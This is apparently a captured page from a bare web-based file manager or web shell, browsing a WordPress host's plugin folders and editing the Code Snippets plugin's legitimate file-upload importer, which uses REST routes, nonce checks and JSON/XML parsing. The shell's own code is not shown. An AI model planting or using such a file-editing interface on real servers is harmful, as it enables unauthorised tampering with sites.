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</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fcode-snippets%2F'>code-snippets</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fcode-snippets%2Fphp%2F'>php</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fcode-snippets%2Fphp%2Fmigration%2F'>migration</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fcode-snippets%2Fphp%2Fmigration%2Fimporters%2F'>importers</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fcode-snippets%2Fphp%2Fmigration%2Fimporters%2Ffiles%2F'>files</a>/</p><hr><h3>✏️ Editing: file-upload-importer.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

namespace Code_Snippets;

use WP_REST_Server;
use WP_REST_Request;
use WP_Error;
use const Code_Snippets\REST_API_NAMESPACE;

class Files_Import_Manager {

	const VERSION = 1;

	public function __construct() {
		add_action( &#039;rest_api_init&#039;, [ $this, &#039;register_rest_routes&#039; ] );
	}

	public function register_rest_routes() {
		$namespace = REST_API_NAMESPACE . self::VERSION;

		register_rest_route( $namespace, &#039;file-upload/parse&#039;, [
			&#039;methods&#039; =&gt; WP_REST_Server::CREATABLE,
			&#039;callback&#039; =&gt; [ $this, &#039;parse_uploaded_files&#039; ],
			&#039;permission_callback&#039; =&gt; function() {
				return current_user_can( &#039;manage_options&#039; );
			},
		] );

		register_rest_route( $namespace, &#039;file-upload/import&#039;, [
			&#039;methods&#039; =&gt; WP_REST_Server::CREATABLE,
			&#039;callback&#039; =&gt; [ $this, &#039;import_selected_snippets&#039; ],
			&#039;permission_callback&#039; =&gt; function() {
				return current_user_can( &#039;manage_options&#039; );
			},
			&#039;args&#039; =&gt; [
				&#039;snippets&#039; =&gt; [
					&#039;description&#039; =&gt; __( &#039;Array of snippet data to import&#039;, &#039;code-snippets&#039; ),
					&#039;type&#039; =&gt; &#039;array&#039;,
					&#039;required&#039; =&gt; true,
				],
				&#039;duplicate_action&#039; =&gt; [
					&#039;description&#039; =&gt; __( &#039;Action to take when duplicate snippets are found&#039;, &#039;code-snippets&#039; ),
					&#039;type&#039; =&gt; &#039;string&#039;,
					&#039;enum&#039; =&gt; [ &#039;ignore&#039;, &#039;replace&#039;, &#039;skip&#039; ],
					&#039;default&#039; =&gt; &#039;ignore&#039;,
				],
				&#039;network&#039; =&gt; [
					&#039;description&#039; =&gt; __( &#039;Whether to import to network table&#039;, &#039;code-snippets&#039; ),
					&#039;type&#039; =&gt; &#039;boolean&#039;,
					&#039;default&#039; =&gt; false,
				],
			],
		] );
	}

	public function parse_uploaded_files( WP_REST_Request $request ) {
		// Verify nonce for security
		$nonce = $request-&gt;get_header( &#039;X-WP-Nonce&#039; );
		if ( ! $nonce || ! wp_verify_nonce( $nonce, &#039;wp_rest&#039; ) ) {
			return new WP_Error(
				&#039;rest_cookie_invalid_nonce&#039;,
				__( &#039;Cookie check failed&#039;, &#039;code-snippets&#039; ),
				[ &#039;status&#039; =&gt; 403 ]
			);
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce verified above via REST API header
		if ( empty( $_FILES[&#039;files&#039;] ) ) {
			return new WP_Error(
				&#039;no_files&#039;,
				__( &#039;No files were uploaded.&#039;, &#039;code-snippets&#039; ),
				[ &#039;status&#039; =&gt; 400 ]
			);
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- Nonce verified above, file data validated below
		$files = $_FILES[&#039;files&#039;];

		if ( ! isset( $files[&#039;name&#039;], $files[&#039;type&#039;], $files[&#039;tmp_name&#039;], $files[&#039;error&#039;] ) ) {
			return new WP_Error(
				&#039;invalid_file_data&#039;,
				__( &#039;Invalid file upload data.&#039;, &#039;code-snippets&#039; ),
				[ &#039;status&#039; =&gt; 400 ]
			);
		}

		$all_snippets = [];
		$errors = [];

		$file_count = is_array( $files[&#039;name&#039;] ) ? count( $files[&#039;name&#039;] ) : 1;

		for ( $i = 0; $i &lt; $file_count; $i++ ) {
			$file_name = is_array( $files[&#039;name&#039;] ) ? $files[&#039;name&#039;][ $i ] : $files[&#039;name&#039;];
			$file_type = is_array( $files[&#039;type&#039;] ) ? $files[&#039;type&#039;][ $i ] : $files[&#039;type&#039;];
			$file_tmp = is_array( $files[&#039;tmp_name&#039;] ) ? $files[&#039;tmp_name&#039;][ $i ] : $files[&#039;tmp_name&#039;];
			$file_error = is_array( $files[&#039;error&#039;] ) ? $files[&#039;error&#039;][ $i ] : $files[&#039;error&#039;];

			if ( UPLOAD_ERR_OK !== $file_error ) {
				$errors[] = sprintf(
					/* translators: %1$s: file name, %2$s: error message */
					__( &#039;Upload error for file %1$s: %2$s&#039;, &#039;code-snippets&#039; ),
					$file_name,
					$this-&gt;get_upload_error_message( $file_error )
				);
				continue;
			}

			$file_info = pathinfo( $file_name );
			$extension = strtolower( $file_info[&#039;extension&#039;] ?? &#039;&#039; );
			$mime_type = sanitize_mime_type( $file_type );

			if ( ! $this-&gt;is_valid_file_type( $extension, $mime_type ) ) {
				$errors[] = sprintf(
					/* translators: %s: file name */
					__( &#039;Invalid file type for %s. Only JSON and XML files are allowed.&#039;, &#039;code-snippets&#039; ),
					$file_name,
				);
				continue;
			}

			$snippets = $this-&gt;parse_file_content( $file_tmp, $extension, $mime_type, $file_name );

			if ( is_wp_error( $snippets ) ) {
				$errors[] = sprintf(
					/* translators: %1$s: file name, %2$s: error message */
					__( &#039;Error parsing %1$s: %2$s&#039;, &#039;code-snippets&#039; ),
					$file_name,
					$snippets-&gt;get_error_message(),
				);
			} else {
				$all_snippets = array_merge( $all_snippets, $snippets );
			}
		}

		if ( empty( $all_snippets ) ) {
			return new WP_Error(
				&#039;no_snippets_found&#039;,
				__( &#039;No valid snippets found in the uploaded files.&#039;, &#039;code-snippets&#039; ),
				[
					&#039;status&#039; =&gt; 400,
					&#039;errors&#039; =&gt; $errors,
				],
			);
		}

		$response = [
			&#039;snippets&#039; =&gt; $all_snippets,
			&#039;total_count&#039; =&gt; count( $all_snippets ),
			&#039;message&#039; =&gt; sprintf(
				/* translators: %d: number of snippets */
				_n(
					&#039;Found %d snippet ready for import.&#039;,
					&#039;Found %d snippets ready for import.&#039;,
					count( $all_snippets ),
					&#039;code-snippets&#039;,
				),
				count( $all_snippets )
			),
		];

		if ( ! empty( $errors ) ) {
			$response[&#039;warnings&#039;] = $errors;
		}

		return rest_ensure_response( $response );
	}

	public function import_selected_snippets( WP_REST_Request $request ) {
		$snippets_data = $request-&gt;get_param( &#039;snippets&#039; );
		$duplicate_action = $request-&gt;get_param( &#039;duplicate_action&#039; ) ?? &#039;ignore&#039;;
		$network = $request-&gt;get_param( &#039;network&#039; ) ?? false;

		if ( empty( $snippets_data ) || ! is_array( $snippets_data ) ) {
			return new WP_Error(
				&#039;no_snippets&#039;,
				__( &#039;No snippet data provided for import.&#039;, &#039;code-snippets&#039; ),
				[ &#039;status&#039; =&gt; 400 ]
			);
		}

		$snippets = [];
		foreach ( $snippets_data as $snippet_data ) {
			$snippet = new Snippet();
			$snippet-&gt;network = $network;

			$import_fields = [
				&#039;name&#039;,
				&#039;desc&#039;,
				&#039;description&#039;,
				&#039;code&#039;,
				&#039;tags&#039;,
				&#039;scope&#039;,
				&#039;priority&#039;,
				&#039;shared_network&#039;,
				&#039;modified&#039;,
				&#039;cloud_id&#039;,
			];

			foreach ( $import_fields as $field ) {
				if ( isset( $snippet_data[ $field ] ) ) {
					$snippet-&gt;set_field( $field, $snippet_data[ $field ] );
				}
			}

			$snippets[] = $snippet;
		}

		$imported = $this-&gt;save_snippets( $snippets, $duplicate_action, $network );

		$response = [
			&#039;imported&#039; =&gt; count( $imported ),
			&#039;imported_ids&#039; =&gt; $imported,
			&#039;message&#039; =&gt; sprintf(
				/* translators: %d: number of snippets */
				_n(
					&#039;Successfully imported %d snippet.&#039;,
					&#039;Successfully imported %d snippets.&#039;,
					count( $imported ),
					&#039;code-snippets&#039;,
				),
				count( $imported )
			),
		];

		return rest_ensure_response( $response );
	}

	private function parse_file_content( string $file_path, string $extension, string $mime_type, string $file_name ) {
		if ( ! file_exists( $file_path ) || ! is_file( $file_path ) ) {
			return new WP_Error(
				&#039;file_not_found&#039;,
				__( &#039;File not found or is not a valid file.&#039;, &#039;code-snippets&#039; )
			);
		}

		if ( &#039;json&#039; === $extension || &#039;application/json&#039; === $mime_type ) {
			return $this-&gt;parse_json_file( $file_path, $file_name );
		} elseif ( &#039;xml&#039; === $extension || in_array( $mime_type, [ &#039;text/xml&#039;, &#039;application/xml&#039; ], true ) ) {
			return $this-&gt;parse_xml_file( $file_path, $file_name );
		}

		return new WP_Error(
			&#039;unsupported_file_type&#039;,
			__( &#039;Unsupported file type.&#039;, &#039;code-snippets&#039; )
		);
	}

	private function parse_json_file( string $file_path, string $file_name ) {
		$raw_data = file_get_contents( $file_path );
		$data = json_decode( $raw_data, true );

		if ( json_last_error() !== JSON_ERROR_NONE ) {
			return new WP_Error(
				&#039;invalid_json&#039;,
				sprintf(
					/* translators: %1$s: file name, %2$s: error message */
					__( &#039;Invalid JSON in file %1$s: %2$s&#039;, &#039;code-snippets&#039; ),
					$file_name,
					json_last_error_msg()
				)
			);
		}

		if ( ! isset( $data[&#039;snippets&#039;] ) || ! is_array( $data[&#039;snippets&#039;] ) ) {
			return new WP_Error(
				&#039;no_snippets_in_file&#039;,
				sprintf(
					/* translators: %s: file name */
					__( &#039;No snippets found in file %s&#039;, &#039;code-snippets&#039; ),
					$file_name
				)
			);
		}

		$snippets = [];
		foreach ( $data[&#039;snippets&#039;] as $snippet_data ) {
			$snippet_data[&#039;source_file&#039;] = $file_name;

			$snippet_data[&#039;table_data&#039;] = [
				&#039;id&#039; =&gt; $snippet_data[&#039;id&#039;] ?? uniqid(),
				&#039;title&#039; =&gt; $snippet_data[&#039;name&#039;] ?? __( &#039;Untitled Snippet&#039;, &#039;code-snippets&#039; ),
				&#039;scope&#039; =&gt; $snippet_data[&#039;scope&#039;] ?? &#039;global&#039;,
				&#039;tags&#039; =&gt; is_array( $snippet_data[&#039;tags&#039;] ?? null ) ? implode( &#039;, &#039;, $snippet_data[&#039;tags&#039;] ) : &#039;&#039;,
				&#039;description&#039; =&gt; $snippet_data[&#039;desc&#039;] ?? $snippet_data[&#039;description&#039;] ?? &#039;&#039;,
				&#039;type&#039; =&gt; Snippet::get_type_from_scope( $snippet_data[&#039;scope&#039;] ?? &#039;global&#039; )
			];

			$snippets[] = $snippet_data;
		}

		return $snippets;
	}

	private function parse_xml_file( string $file_path, string $file_name ) {
		$dom = new \DOMDocument( &#039;1.0&#039;, get_bloginfo( &#039;charset&#039; ) );

		if ( ! $dom-&gt;load( $file_path ) ) {
			return new WP_Error(
				&#039;invalid_xml&#039;,
				sprintf(
					/* translators: %s: file name */
					__( &#039;Invalid XML in file %s&#039;, &#039;code-snippets&#039; ),
					$file_name
				)
			);
		}

		$snippets_xml = $dom-&gt;getElementsByTagName( &#039;snippet&#039; );
		$fields = [ &#039;name&#039;, &#039;description&#039;, &#039;desc&#039;, &#039;code&#039;, &#039;tags&#039;, &#039;scope&#039; ];

		$snippets = [];
		$index = 0;

		foreach ( $snippets_xml as $snippet_xml ) {
			$snippet_data = [];

			foreach ( $fields as $field_name ) {
				$field = $snippet_xml-&gt;getElementsByTagName( $field_name )-&gt;item( 0 );

				if ( isset( $field-&gt;nodeValue ) ) {
					$snippet_data[ $field_name ] = $field-&gt;nodeValue;
				}
			}

			$scope = $snippet_xml-&gt;getAttribute( &#039;scope&#039; );
			if ( ! empty( $scope ) ) {
				$snippet_data[&#039;scope&#039;] = $scope;
			}

			$snippet_data[&#039;source_file&#039;] = $file_name;

			$snippet_data[&#039;table_data&#039;] = [
				&#039;id&#039; =&gt; ++$index,
				&#039;title&#039; =&gt; $snippet_data[&#039;name&#039;] ?? __( &#039;Untitled Snippet&#039;, &#039;code-snippets&#039; ),
				&#039;scope&#039; =&gt; $snippet_data[&#039;scope&#039;] ?? &#039;global&#039;,
				&#039;tags&#039; =&gt; $snippet_data[&#039;tags&#039;] ?? &#039;&#039;,
				&#039;description&#039; =&gt; $snippet_data[&#039;desc&#039;] ?? $snippet_data[&#039;description&#039;] ?? &#039;&#039;,
				&#039;type&#039; =&gt; Snippet::get_type_from_scope( $snippet_data[&#039;scope&#039;] ?? &#039;global&#039; ),
			];

			$snippets[] = $snippet_data;
		}

		return $snippets;
	}

	private function save_snippets( array $snippets, string $duplicate_action, bool $network ): array {
		$existing_snippets = [];

		if ( &#039;replace&#039; === $duplicate_action || &#039;skip&#039; === $duplicate_action ) {
			$all_snippets = get_snippets( [], $network );

			foreach ( $all_snippets as $snippet ) {
				if ( $snippet-&gt;name ) {
					$existing_snippets[ $snippet-&gt;name ] = $snippet-&gt;id;
				}
			}
		}

		$imported = [];

		foreach ( $snippets as $snippet ) {
			if ( &#039;ignore&#039; !== $duplicate_action &amp;&amp; isset( $existing_snippets[ $snippet-&gt;name ] ) ) {
				if ( &#039;replace&#039; === $duplicate_action ) {
					$snippet-&gt;id = $existing_snippets[ $snippet-&gt;name ];
				} elseif ( &#039;skip&#039; === $duplicate_action ) {
					continue;
				}
			}

			$saved_snippet = save_snippet( $snippet );

			$snippet_id = $saved_snippet-&gt;id;

			if ( $snippet_id ) {
				$imported[] = $snippet_id;
			}
		}

		return $imported;
	}

	private function is_valid_file_type( string $extension, string $mime_type ): bool {
		$valid_extensions = [ &#039;json&#039;, &#039;xml&#039; ];
		$valid_mime_types = [ &#039;application/json&#039;, &#039;text/xml&#039;, &#039;application/xml&#039; ];

		return in_array( $extension, $valid_extensions, true ) || 
			in_array( $mime_type, $valid_mime_types, true );
	}



	private function get_upload_error_message( int $error_code ): string {
		$error_messages = [
			UPLOAD_ERR_INI_SIZE =&gt; __( &#039;File exceeds the upload_max_filesize directive.&#039;, &#039;code-snippets&#039; ),
			UPLOAD_ERR_FORM_SIZE =&gt; __( &#039;File exceeds the MAX_FILE_SIZE directive.&#039;, &#039;code-snippets&#039; ),
			UPLOAD_ERR_PARTIAL =&gt; __( &#039;File was only partially uploaded.&#039;, &#039;code-snippets&#039; ),
			UPLOAD_ERR_NO_FILE =&gt; __( &#039;No file was uploaded.&#039;, &#039;code-snippets&#039; ),
			UPLOAD_ERR_NO_TMP_DIR =&gt; __( &#039;Missing a temporary folder.&#039;, &#039;code-snippets&#039; ),
			UPLOAD_ERR_CANT_WRITE =&gt; __( &#039;Failed to write file to disk.&#039;, &#039;code-snippets&#039; ),
			UPLOAD_ERR_EXTENSION =&gt; __( &#039;A PHP extension stopped the file upload.&#039;, &#039;code-snippets&#039; ),
		];

		return $error_messages[ $error_code ] ?? __( &#039;Unknown upload error.&#039;, &#039;code-snippets&#039; );
	}
}
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